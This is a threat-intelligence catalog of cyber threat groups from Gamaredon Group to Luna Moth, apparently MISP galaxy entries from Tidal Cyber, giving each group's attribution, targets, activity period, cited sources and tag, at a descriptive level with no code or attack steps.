In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067) to Russia's Federal Security Service (FSB) Center 18.^{[[Bleepingcomputer Gamardeon FSB November 2021](https://app.tidalcyber.com/references/c565b025-df74-40a9-9535-b630ca06f777)]}^{[[Microsoft Actinium February 2022](https://app.tidalcyber.com/references/5ab658db-7f71-4213-8146-e22da54160b3)]}

The tag is: *misp-galaxy:groups="Gamaredon Group"*

GCMAN

[GCMAN](https://app.tidalcyber.com/groups/dbc85db0-937d-47d7-9002-7364d41be48a) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. ^{[[Securelist GCMAN](https://app.tidalcyber.com/references/1f07f234-50f0-4c1e-942a-a01d3f733161)]}

The tag is: *misp-galaxy:groups="GCMAN"*

Ghost Ransomware Actors

Ghost actors, located in China, conduct widespread ransomware attacks for financial gain. They target networks with vulnerabilities, affecting organizations across more than 70 countries, including critical infrastructure, schools, healthcare, and more.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:groups="Ghost Ransomware Actors"*

GhostSec

GhostSec is a sophisticated hacktivist group that was initially formed in 2015 as an offshoot of the Anonymous hacktivist group to disrupt ISIS-related online propaganda and recently formed a hacking collective entity known as "The Five Families" that includes ThreatSec, Stormous, Blackforums, SiegedSec, GhostSec.

It has compromised multiple sectors including critical infrastructure, telecommunications, energy, defense in over 18 countries for achieving its ideological objectives. It uses a wide range of techniques for launching DDoS attack, exfiltrating lucrative data and defacement.^{[[Cisco Talos Blog March 5 2024](/references/bcdd2d44-a47a-4749-b61b-025086011f17)]}^{[[Wikimedia Foundation Inc. July 26 2015](/references/6a4e524c-cd82-4705-9f0f-4ab3191fe86e)]}^{[[SOCRadar® Cyber Intelligence Inc. November 3 2023](/references/09a12b10-f8d2-4d9d-8fb7-7cc7e2af0a5e)]}^{[[Telegram GhostSec](/references/228b8384-1d68-4f17-bee3-fad4ef2fcc28)]}^{[[Uptycs Inc November 3 2023](/references/2a3638f7-86a0-41e5-a3f3-ad2918cb4ad4)]}

The tag is: *misp-galaxy:groups="GhostSec"*

Gold Dupont

Gold Dupont is a financially motivated threat group who has been in operation since at least 2018. The actor uses custom malware known as Vatet loader, PyXie Remote Access Tool, and Defray777 ransomware to gain initial access, perform reconnaissance, and exfiltrate and encrypt sensitive data. The group is also known to use various commodity malware and tools including Trickbot, Cobalt Strike, and Metasploit. The threat group targets various entities in the healthcare, education, government, and technology industries.^{[[Unit 42 August 24 2023](/references/dac0203a-d625-4a9f-b58e-195b06cd4307)]}^{[[Secureworks June 1 2017](/references/39021382-296d-4be7-b504-452e14a443c9)]}

The tag is: *misp-galaxy:groups="Gold Dupont"*

GOLD SOUTHFIELD

[GOLD SOUTHFIELD](https://app.tidalcyber.com/groups/b4d068ac-9b68-4cd8-bf0c-019f910ef8e3) is a financially motivated threat group active since at least 2018 that operates the [REvil](https://app.tidalcyber.com/software/9314531e-bf46-4cba-9c19-198279ccf9cd) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://app.tidalcyber.com/groups/b4d068ac-9b68-4cd8-bf0c-019f910ef8e3) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, [GOLD SOUTHFIELD](https://app.tidalcyber.com/groups/b4d068ac-9b68-4cd8-bf0c-019f910ef8e3) started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.^{[[Secureworks REvil September 2019](https://app.tidalcyber.com/references/8f4e2baf-4227-4bbd-bfdb-5598717dcf88)]}^{[[Secureworks GandCrab and REvil September 2019](https://app.tidalcyber.com/references/46b5d57b-17be-48ff-b723-406f6a55d84a)]}^{[[Secureworks GOLD SOUTHFIELD](https://app.tidalcyber.com/references/01d1ffaa-16b3-41c4-bb5a-afe2b41f1142)]}^{[[CrowdStrike Evolution of Pinchy Spider July 2021](https://app.tidalcyber.com/references/7578541b-1ae3-58d0-a8b9-120bd6cd96f5)]}

The tag is: *misp-galaxy:groups="GOLD SOUTHFIELD"*

Gorgon Group

[Gorgon Group](https://app.tidalcyber.com/groups/efb3b5ac-cd86-44a2-9de1-02e4612b8cc2) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. ^{[[Unit 42 Gorgon Group Aug 2018](https://app.tidalcyber.com/references/d0605185-3f8d-4846-a718-15572714e15b)]}

The tag is: *misp-galaxy:groups="Gorgon Group"*

GreenMwizi

GreenMwizi is assessed to be an actor based in Nairobi, Kenya that has carried out scam campaigns involving social media bots. A campaign observed in May 2023 appeared to target customers of a major online travel/hospitality booking brand.^{[[GreenMwizi - Kenyan scamming campaign using Twitter bots](/references/3b09696a-1345-4283-a59b-e9a13124ef59)]}

The tag is: *misp-galaxy:groups="GreenMwizi"*

Group5

[Group5](https://app.tidalcyber.com/groups/fcc6d937-8cd6-4f2c-adb8-48caedbde70a) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://app.tidalcyber.com/groups/fcc6d937-8cd6-4f2c-adb8-48caedbde70a) has used two commonly available remote access tools (RATs), [njRAT](https://app.tidalcyber.com/software/82996f6f-0575-45cd-8f7c-ba1b063d5b9f) and [NanoCore](https://app.tidalcyber.com/software/db05dbaa-eb3a-4303-b37e-18d67e7e85a1), as well as an Android RAT, DroidJack. ^{[[Citizen Lab Group5](https://app.tidalcyber.com/references/ffbec5e8-947a-4363-b7e1-812dfd79935a)]}

The tag is: *misp-galaxy:groups="Group5"*

GXC Team

According to Resecurity researchers, GXC Team is a cybercriminal actor group that specializes in the development of tools used for financial fraud and theft. The group's leader operates and advertises these tools for sale on dark web forums under the alias "googleXcoder".^{[[Resecurity GXC Team January 3 2024](/references/6d55aa2c-3f52-4bff-8003-f78b386a4952)]}

The tag is: *misp-galaxy:groups="GXC Team"*

H0lyGh0st Ransomware Group

H0lyGh0st is a North Korea-based ransomware-focused threat actor group.^{[[H0lyGh0st - North Korean Threat Group Strikes Back With New Ransomware](/references/3f66ef62-ac0d-4ece-9a4b-917ae70f1617)]}

The tag is: *misp-galaxy:groups="H0lyGh0st Ransomware Group"*

HAFNIUM

[HAFNIUM](https://app.tidalcyber.com/groups/1bcc9382-ccfe-4b04-91f3-ef1250df5e5b) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://app.tidalcyber.com/groups/1bcc9382-ccfe-4b04-91f3-ef1250df5e5b) primarily targets entities in the US across a number of industry sectors, including

infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. [HAFNIUM](https://app.tidalcyber.com/groups/1bcc9382-ccfe-4b04-91f3-ef1250df5e5b) has targeted remote management tools and cloud software for intial access and has demonstrated an ability to quickly operationalize exploits for identified vulnerabilities in edge devices.^{[[Microsoft HAFNIUM March 2020](https://app.tidalcyber.com/references/6a986c46-79a3-49c6-94d2-d9b1f5db08f3)]}^{[[Volexity Exchange Marauder March 2021](https://app.tidalcyber.com/references/ef0626e9-281c-4770-b145-ffe36e18e369)]}^{[[Microsoft Silk Typhoon MAR 2025](https://app.tidalcyber.com/references/08dd388f-5c10-57bc-8263-7214fe667b4a)]}

The tag is: *misp-galaxy:groups="HAFNIUM"*

HEXANE

[HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735) is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. [HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735)'s TTPs appear similar to [APT33](https://app.tidalcyber.com/groups/99bbbe25-45af-492f-a7ff-7cbc57828bac) and [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) but due to differences in victims and tools it is tracked as a separate entity.^{[[Dragos Hexane](https://app.tidalcyber.com/references/11838e67-5032-4352-ad1f-81ba0398a14f)]}^{[[Kaspersky Lyceum October 2021](https://app.tidalcyber.com/references/b3d13a82-c24e-4b47-b47a-7221ad449859)]}^{[[ClearSky Siamesekitten August 2021](https://app.tidalcyber.com/references/9485efce-8d54-4461-b64e-0d15e31fbf8c)]}^{[[Accenture Lyceum Targets November 2021](https://app.tidalcyber.com/references/127836ce-e459-405d-a75c-32fd5f0ab198)]}

The tag is: *misp-galaxy:groups="HEXANE"*

Higaisa

[Higaisa](https://app.tidalcyber.com/groups/f1477581-d485-403f-a95f-c56bf88c5d1e) is a threat group suspected to have South Korean origins. [Higaisa](https://app.tidalcyber.com/groups/f1477581-d485-403f-a95f-c56bf88c5d1e) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://app.tidalcyber.com/groups/f1477581-d485-403f-a95f-c56bf88c5d1e) was first disclosed in early 2019 but is assessed to have operated as early as 2009.^{[[Malwarebytes Higaisa 2020](https://app.tidalcyber.com/references/6054e0ab-cf61-49ba-b7f5-58b304477451)]}^{[[Zscaler Higaisa 2020](https://app.tidalcyber.com/references/26d7ee2c-d4f7-441a-9073-49c9049b017e)]}^{[[PTSecurity Higaisa 2020](https://app.tidalcyber.com/references/cf8f3d9c-0d21-4587-a707-46848a15bd46)]}

The tag is: *misp-galaxy:groups="Higaisa"*

Hive Ransomware Actors

This Group object reflects the tools & TTPs associated with threat actors known to deploy Hive, a ransomware-as-a-service (RaaS) variant first observed in June 2021.^{[[U.S. CISA Hive November 25 2022](/references/fce322e6-5e23-404a-acf8-cd003f00c79d)]} Specific pre- and post-compromise behaviors may vary among intrusions carried out by different Hive affiliates.

Hive actors have targeted victims in a wide range of verticals, including the government, communications, manufacturing, information technology, financial services, education, and especially the healthcare sectors. In January 2023, international authorities announced they disrupted Hive ransomware operations, seizing control of servers and websites used for communication among Hive actors and capturing Hive decryption keys.^{[[U.S. Justice Department Hive January 2023](/references/81bd5579-6a8a-40d2-b7b7-5cdb879ebdf0)]}

The tag is: *misp-galaxy:groups="Hive Ransomware Actors"*

Hunt3r Kill3rs

The Hunt3r Kill3rs group emerged in early 2024 and claimed attacks especially involving industrial control systems (ICS) and communications networks. The group appears to be motivated by a mix of geopolitical/ideological motives and financial gain, and researchers have identified connections between Hunt3r Kill3rs and both Russia- and Middle East-aligned actor groups.^{[[Orange Cyberdefense Hunt3r Kill3rs May 24 2024](/references/17bf83f7-d1bf-4787-aa38-74ce46460ca0)]}

The tag is: *misp-galaxy:groups="Hunt3r Kill3rs"*

Inception

[Inception](https://app.tidalcyber.com/groups/d7c58e7f-f0b0-44c6-b205-5adcfb56f0e6) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.^{[[Unit 42 Inception November 2018](https://app.tidalcyber.com/references/5cb98fce-f386-4878-b69c-5c6440ad689c)]}^{[[Symantec Inception Framework March 2018](https://app.tidalcyber.com/references/166f5c44-7d8c-45d5-8d9f-3b8bd21a2af3)]}^{[[Kaspersky Cloud Atlas December 2014](https://app.tidalcyber.com/references/41a9b3e3-0953-4bde-9e1d-c2f51de1120e)]}

The tag is: *misp-galaxy:groups="Inception"*

INC Ransom

[INC Ransom](https://app.tidalcyber.com/groups/8957f42d-a069-542b-bce6-3059a2fa0f2e) is a ransomware and data extortion threat group associated with the deployment of [INC Ransomware](https://app.tidalcyber.com/software/814df4bb-4f5a-5097-af8b-85622a4803ba) that has been active since at least July 2023. [INC Ransom](https://app.tidalcyber.com/groups/8957f42d-a069-

542b-bce6-3059a2fa0f2e) has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.^{[[Bleeping Computer INC Ransomware March 2024](https://app.tidalcyber.com/references/fbfd6be8-acc7-5ed4-b2b7-9248c2c27682)]}^{[[Cybereason INC Ransomware November 2023](https://app.tidalcyber.com/references/ebe119d6-add3-5a1b-8e5f-b6419f246ba9)]}^{[[Secureworks GOLD IONIC April 2024](https://app.tidalcyber.com/references/e723e7b3-496f-5ab4-abaf-83859e7e912d)]}^{[[SentinelOne INC Ransomware](https://app.tidalcyber.com/references/5f82878b-2258-5663-8694-efc3179c1849)]}

The tag is: *misp-galaxy:groups="INC Ransom"*

IndigoZebra

[IndigoZebra](https://app.tidalcyber.com/groups/988f5312-834e-48ea-93b7-e6e01ee0938d) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.^{[[HackerNews IndigoZebra July 2021](https://app.tidalcyber.com/references/fcf8265a-3084-4162-87d0-9e77c0a5cff0)]}^{[[Checkpoint IndigoZebra July 2021](https://app.tidalcyber.com/references/cf4a8c8c-eab1-421f-b313-344aed03b42d)]}^{[[Securelist APT Trends Q2 2017](https://app.tidalcyber.com/references/fe28042c-d289-463f-9ece-1a75a70b966e)]}

The tag is: *misp-galaxy:groups="IndigoZebra"*

Indrik Spider

[Indrik Spider](https://app.tidalcyber.com/groups/3c7ad595-1940-40fc-b9ca-3e649c1e5d87) is a Russia-based cybercriminal group that has been active since at least 2014. [Indrik Spider](https://app.tidalcyber.com/groups/3c7ad595-1940-40fc-b9ca-3e649c1e5d87) initially started with the [Dridex](https://app.tidalcyber.com/software/e3cd4405-b698-41d9-88e4-fff29e7a19e2) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://app.tidalcyber.com/software/e7dec940-8701-4c06-9865-5b11c61c046d), [WastedLocker](https://app.tidalcyber.com/software/0ba6ee8d-2b29-4980-8e55-348ea05f00ad), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://app.tidalcyber.com/groups/3c7ad595-1940-40fc-b9ca-3e649c1e5d87) changed their tactics and diversified their toolset.^{[[Crowdstrike Indrik November 2018](https://app.tidalcyber.com/references/0f85f611-90db-43ba-8b71-5d0d4ec8cdd5)]}^{[[Crowdstrike EvilCorp March 2021](https://app.tidalcyber.com/references/4b77d313-ef3c-4d2f-bfde-609fa59a8f55)]}^{[[Treasury EvilCorp Dec 2019](https://app.tidalcyber.com/references/074a52c4-26d9-4083-9349-c14e2639c1bc)]}

The tag is: *misp-galaxy:groups="Indrik Spider"*

Ke3chang

[Ke3chang](https://app.tidalcyber.com/groups/26c0925f-1a3c-4df6-b27a-62b9731299b8) is a threat group attributed to actors operating out of China. [Ke3chang](https://app.tidalcyber.com/groups/26c0925f-1a3c-4df6-b27a-62b9731299b8) has targeted oil, government, diplomatic, military, and

NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.^{[[Mandiant Operation Ke3chang November 2014](https://app.tidalcyber.com/references/bb45cf96-ceae-4f46-a0f5-08cd89f699c9)]}^{[[NCC Group APT15 Alive and Strong](https://app.tidalcyber.com/references/02a50445-de06-40ab-9ea4-da5c37e066cd)]}^{[[APT15 Intezer June 2018](https://app.tidalcyber.com/references/0110500c-bf67-43a5-97cb-16eb6c01040b)]}^{[[Microsoft NICKEL December 2021](https://app.tidalcyber.com/references/29a46bb3-f514-4554-ad9c-35f9a5ad9870)]}

The tag is: *misp-galaxy:groups="Ke3chang"*

Killnet

Killnet is an apparent hacktivist collective that has primarily used distributed denial of service (DDoS) attacks in support of its ideology, which appears to largely align with Russian state interests. The group emerged in October 2021, initially offering DDoS capabilities as a for-hire service. However, after the February 2022 Russian invasion of Ukraine, Killnet explicitly pledged allegiance to Russia and began to threaten and claim responsibility for attacks on targets in Ukraine and in countries perceived to support Ukraine. To date, the group has claimed and is believed to be responsible for a considerable number of DDoS attacks on government and private sector targets in a range of sectors, using a variety of discrete techniques to carry them out. It is also believed to be behind a smaller number of data exfiltration-focused attacks, and it has promoted the use of defacement tools in its communication channels with supporters.^{[[Flashpoint Glossary Killnet](/references/502cc03b-350b-4e2d-9436-364c43a0a203)]}

In October 2023, following a series of air- and land-based attacks in the Gaza Strip, researchers observed Killnet claiming responsibility for disruptive attacks against computer networks in Israel and pledging explicit support for Palestinian interests.^{[[RyanW3stman Tweet October 10 2023](/references/cfd0ad64-54b2-446f-9624-9c90a9a94f52)]}

The tag is: *misp-galaxy:groups="Killnet"*

KillSec

KillSec is an actor group founded in 2021, which traditionally participated in hacktivist defacement campaigns and other compromises. The group's ideology appeared to align with the high-profile Anonymous hacktivist group. In June 2024, KillSec announced the release of their own ransomware-as-a-service program, which featured an original, encryption-focused malware written in C++.^{[[Cyber Express KillSec June 26 2024](/references/9afb764a-84fb-4fea-b925-d7d36a24ac14)]} The group publicizes alleged victims of its attacks on its dark web "leak" site.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

As of February 2025, few technical details were publicly available related to KillSec's ransomware or techniques observed during alleged KillSec intrusions. Researchers suggested that the group could be heavily recycling previously leaked data in its victim claims, which could account for the lack of analyzed malware samples or intrusion data.^{[[DataBreaches KillSec December 8 2024](/references/3009e3d3-def9-4838-9b54-8586858fb3e2)]}

The tag is: *misp-galaxy:groups="KillSec"*

Kimsuky

[Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.^{[[EST Kimsuky April 2019](https://app.tidalcyber.com/references/8e52db6b-5ac3-448a-93f6-96a21787a346)]}^{[[Cybereason Kimsuky November 2020](https://app.tidalcyber.com/references/ecc2f5ad-b2a8-470b-b919-cb184d12d00f)]}^{[[Malwarebytes Kimsuky June 2021](https://app.tidalcyber.com/references/9a497c56-f1d3-4889-8c1a-14b013f14668)]}^{[[CISA AA20-301A Kimsuky](https://app.tidalcyber.com/references/685aa213-7902-46fb-b90a-64be5c851f73)]}^{[[Mandiant APT43 March 2024](https://app.tidalcyber.com/references/8ac3fd0a-4a93-5262-9ac2-f676c5d11fda)]}^{[[Proofpoint TA427 April 2024](https://app.tidalcyber.com/references/620f5ff7-26c0-55c4-9b1b-c56ad2e1316b)]}

[Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).^{[[Netscout Stolen Pencil Dec 2018](https://app.tidalcyber.com/references/6d3b31da-a784-4da0-91dd-b72c04fd520a)]}^{[[EST Kimsuky SmokeScreen April 2019](https://app.tidalcyber.com/references/15213a3c-1e9f-47fa-9864-8ef2707c7fb6)]}^{[[AhnLab Kimsuky Kabar Cobra Feb 2019](https://app.tidalcyber.com/references/4035e871-9291-4d7f-9c5f-d8482d4dc8a7)]}

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) instead of tracking clusters or subgroups.

In 2023, [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.^{[[MSFT-AI](https://app.tidalcyber.com/references/4f08a1a3-3cc5-5dfb-9190-2e4991e43d94)]}

The tag is: *misp-galaxy:groups="Kimsuky"*

LAPSUS$

[LAPSUS$](https://app.tidalcyber.com/groups/0060bb76-6713-4942-a4c0-d4ae01ec2866) is cyber criminal threat group that has been active since at least mid-2021. [LAPSUS$](https://app.tidalcyber.com/groups/0060bb76-6713-4942-a4c0-d4ae01ec2866) specializes

in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.^{[[BBC LAPSUS Apr 2022](https://app.tidalcyber.com/references/6c9f4312-6c9d-401c-b20f-12ce50c94a96)]}^{[[MSTIC DEV-0537 Mar 2022](https://app.tidalcyber.com/references/a9ce7e34-6e7d-4681-9869-8e8f2b5b0390)]}^{[[UNIT 42 LAPSUS Mar 2022](https://app.tidalcyber.com/references/50f4c1ed-b046-405a-963d-a113324355a3)]}

The tag is: *misp-galaxy:groups="LAPSUS$"*

Lazarus Group

[Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.^{[[US-CERT HIDDEN COBRA June 2017](https://app.tidalcyber.com/references/8e57cea3-ee37-4507-bb56-7445050ec8ca)]}^{[[Treasury North Korean Cyber Groups September 2019](https://app.tidalcyber.com/references/54977bb2-2929-41d7-bdea-06d39dc76174)]} The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.^{[[Novetta Blockbuster](https://app.tidalcyber.com/references/bde96b4f-5f98-4ce5-a507-4b05d192b6d7)]}

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) instead of tracking clusters or subgroups, such as [Andariel](https://app.tidalcyber.com/groups/2cc997b5-5076-4eef-9974-f54387614f46), [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66), [APT38](https://app.tidalcyber.com/groups/dfbce236-735c-436d-b433-933bd6eae17b), and [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1).

The tag is: *misp-galaxy:groups="Lazarus Group"*

LazyScripter

[LazyScripter](https://app.tidalcyber.com/groups/12279b62-289e-49ee-97cb-c780edd3d091) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.^{[[MalwareBytes LazyScripter Feb 2021](https://app.tidalcyber.com/references/078837a7-82cd-4e26-9135-43b612e911fe)]}

The tag is: *misp-galaxy:groups="LazyScripter"*

Leafminer

[Leafminer](https://app.tidalcyber.com/groups/b5c28235-d441-40d9-8da2-d49ba2f2568b) is an Iranian threat group that has targeted government organizations and business entities in the

Middle East since at least early 2017. ^{[[Symantec Leafminer July 2018](https://app.tidalcyber.com/references/01130af7-a2d4-435e-8790-49933e041451)]}

The tag is: *misp-galaxy:groups="Leafminer"*

Leviathan

[Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.^{[[CISA AA21-200A APT40 July 2021](https://app.tidalcyber.com/references/3a2dbd8b-54e3-406a-b77c-b6fae5541b6d)]} Active since at least 2009, [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Australia, Europe, the Middle East, and Southeast Asia.^{[[CISA AA21-200A APT40 July 2021](https://app.tidalcyber.com/references/3a2dbd8b-54e3-406a-b77c-b6fae5541b6d)]}^{[[Proofpoint Leviathan Oct 2017](https://app.tidalcyber.com/references/f8c2b67b-c097-4b48-8d95-266a45b7dd4d)]}^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}^{[[CISA Leviathan 2024](https://app.tidalcyber.com/references/4b538c35-ffa0-585f-b708-8c69a07f434a)]}

The tag is: *misp-galaxy:groups="Leviathan"*

LIMINAL PANDA

LIMINAL PANDA is assessed to be a "China-nexus" state-sponsored actor that has conducted targeted intrusions against telecommunications entities for intelligence collection purposes. It uses multiple publicly available tools to proxy command and control traffic.^{[[crowdstrike.com December 19 2024](/references/cd7f7145-579d-4277-8ec9-c67e5ae00759)]}

The tag is: *misp-galaxy:groups="LIMINAL PANDA"*

LockBit Ransomware Actors & Affiliates

This object represents the LockBit Ransomware-as-a-Service ("RaaS") apex group and the behaviors associated with its various affiliate ransomware operators. Specific affiliate operations defined by the research community will be tracked as separate objects.

Ransomware labeled "LockBit" was first observed in 2020. LockBit developers have introduced multiple versions of the LockBit encryption tool. According to the U.S. Cybersecurity and Infrastructure Security Agency ("CISA"), the following major LockBit variants have been observed (first-observed dates in parentheses): ABCD (LockBit malware's predecessor; September 2019), LockBit (January 2020), LockBit 2.0 (June 2021), LockBit Linux-ESXi Locker (October 2021), LockBit 3.0 (March 2022), LockBit Green (a variant that incorporates source code from Conti ransomware; January 2023), and variants capable of targeting macOS environments (April 2023). As of June 2023, CISA reported that the web panel that offers affiliates access to LockBit malware explicitly listed the LockBit 2.0, LockBit 3.0, LockBit Green, and LockBit Linux-ESXi Locker variants.<sup>[[U.S. CISA

Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]</sup>

Since emerging in 2020, the LockBit group and its affiliates have carried out a very large number of attacks involving a wide range of victims around the world. In June 2023, the U.S. Federal Bureau of Investigation reported it had identified 1,700 LockBit attacks since 2020.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]} According to data collected by the [ransomwatch project](https://github.com/joshhighet/ransomwatch) and analyzed by Tidal, LockBit actors publicly claimed 970 victims in 2022 (576 associated with the LockBit 2.0 variant and 394 associated with LockBit 3.0), the most of any extortion threat that year. Through April 2023, LockBit had claimed 406 victims, more than double the number of the next threat (Clop, with 179 victims).^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]} CISA reported in June 2023 that U.S. ransoms paid to LockBit since January 2020 totaled $91 million.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

LockBit affiliate operators are known to use a wide variety of techniques during their attacks. Initial access for LockBit infections has occurred via most methods (including a number of vulnerability exploits), and operators are known to abuse a range of free and open-source software tools for a variety of post-exploitation activities. In addition to victim data encryption, LockBit actors routinely exfiltrate victim data and threaten to leak this data for extortion purposes.

Related Vulnerabilities: CVE-2021-22986, CVE-2023-0669, CVE-2023-27350, CVE-2021-44228, CVE-2021-22986, CVE-2020-1472, CVE-2019-0708, CVE-2018-13379^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:groups="LockBit Ransomware Actors & Affiliates"*

Lotus Blossom

[Lotus Blossom](https://app.tidalcyber.com/groups/2849455a-cf39-4a9f-bd89-c2b3c1e5dd52) is a long-standing threat group largely targeting various entities in Asia since at least 2009. In addition to government and related targets, [Lotus Blossom](https://app.tidalcyber.com/groups/2849455a-cf39-4a9f-bd89-c2b3c1e5dd52) has also targeted entities such as digital certificate issuers.^{[[Lotus Blossom Jun 2015](https://app.tidalcyber.com/references/46fdb8ca-b14d-43bd-a20f-cae7b26e56c6)]}^{[[Symantec Bilbug 2022](https://app.tidalcyber.com/references/0f4f0ac1-2a0b-56a5-9ea9-c5b2d1cb8c05)]}^{[[Cisco LotusBlossom 2025](https://app.tidalcyber.com/references/9b7db916-e62f-5d7e-9574-a85198665a5a)]}

The tag is: *misp-galaxy:groups="Lotus Blossom"*

LuminousMoth

[LuminousMoth](https://app.tidalcyber.com/groups/b10aa4c0-10a1-5e08-8d9d-82ce95d45e6a) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://app.tidalcyber.com/groups/b10aa4c0-10a1-5e08-8d9d-82ce95d45e6a) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://app.tidalcyber.com/groups/b10aa4c0-10a1-5e08-8d9d-

82ce95d45e6a) and [Mustang Panda](https://app.tidalcyber.com/groups/4a4641b1-7686-49da-8d83-00d8013f4b47) based on similar targeting and TTPs, as well as network infrastructure overlaps.^{[[Kaspersky LuminousMoth July 2021](https://app.tidalcyber.com/references/e21c6931-fba8-52b0-b6f0-1c8222881fbd)]}^{[[Bitdefender LuminousMoth July 2021](https://app.tidalcyber.com/references/6b1ce8bb-4e77-59f3-87ff-78f4a1a10ad3)]}

The tag is: *misp-galaxy:groups="LuminousMoth"*

Luna Moth

Luna Moth (aka Silent Ransom Group) is a financially-motivated, extortion-focused adversary active since at least March 2022 and through at least June 2023. The group is known for carrying out "callback phishing" attacks, where actors entice victims to call an actor-controlled number, for example by sending a fraudulent email that claims the victim recently registered for a popular subscription service. Once connected, actors would convince victims to join a live, actor-connected sessions with legitimate remote access tools provided via a link in a subsequent email, then install other legitimate remote administration software used to support further discovery and exfiltration activity.^{[[Sygnia Luna Moth July 1 2022](/references/115590b2-ab57-432c-900e-000627464a11)]}^{[[FBI Ransomware Tools November 7 2023](/references/e096e1f4-6b62-4756-8811-f263cf1dcecc)]}

